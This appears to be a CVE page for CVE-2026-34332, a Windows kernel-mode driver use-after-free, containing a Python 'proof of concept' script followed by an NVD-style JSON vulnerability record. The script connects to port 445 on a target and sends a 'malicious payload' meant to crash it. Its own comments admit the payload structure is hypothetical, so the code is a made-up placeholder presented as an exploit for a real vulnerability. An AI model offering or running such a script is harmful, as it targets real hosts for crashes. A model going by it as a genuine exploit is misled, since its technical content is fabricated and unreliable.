CVE-2026-34332

import socket import struct # Target IP and Port configuration TARGET_IP = "192.168.1.100" TARGET_PORT = 445 def trigger_uaf_vulnerability(): """ Proof of Concept for CVE-2026-34332 (Windows Kernel-Mode Driver UAF). This script attempts to send a malformed packet to trigger the UAF condition. Note: This is a simulation for demonstration purposes. """ try: # Step 1: Establish connection print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) # Step 2: Construct malicious payload # This payload structure is hypothetical to simulate the memory corruption header = struct.pack('<I', 0x4D5A0000) # Magic header trigger = b'\x41' * 0x100 # Padding uaf_trigger = struct.pack('<Q', 0xDEADBEEFCAFEBABE) # Corrupted pointer payload = header + trigger + uaf_trigger # Step 3: Send payload print("[*] Sending malicious payload...") s.send(payload) # Step 4: Wait for response (System crash or hang indicates success) s.recv(1024) print("[+] Payload sent. Check target system for crash.") except Exception as e: print(f"[-] Error: {e}") finally: s.close() if __name__ == "__main__": trigger_uaf_vulnerability()

{"cve": {"id": "CVE-2026-34332", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:07.127", "lastModified": "2026-05-14T15:25:29.693", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Windows Kernel-Mode Drivers allows an authorized attacker to execute code over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32772", "matchCriteriaId": "9ABAB3B9-28AF-4278-8E78-E1191B1AFC0C"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34332", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}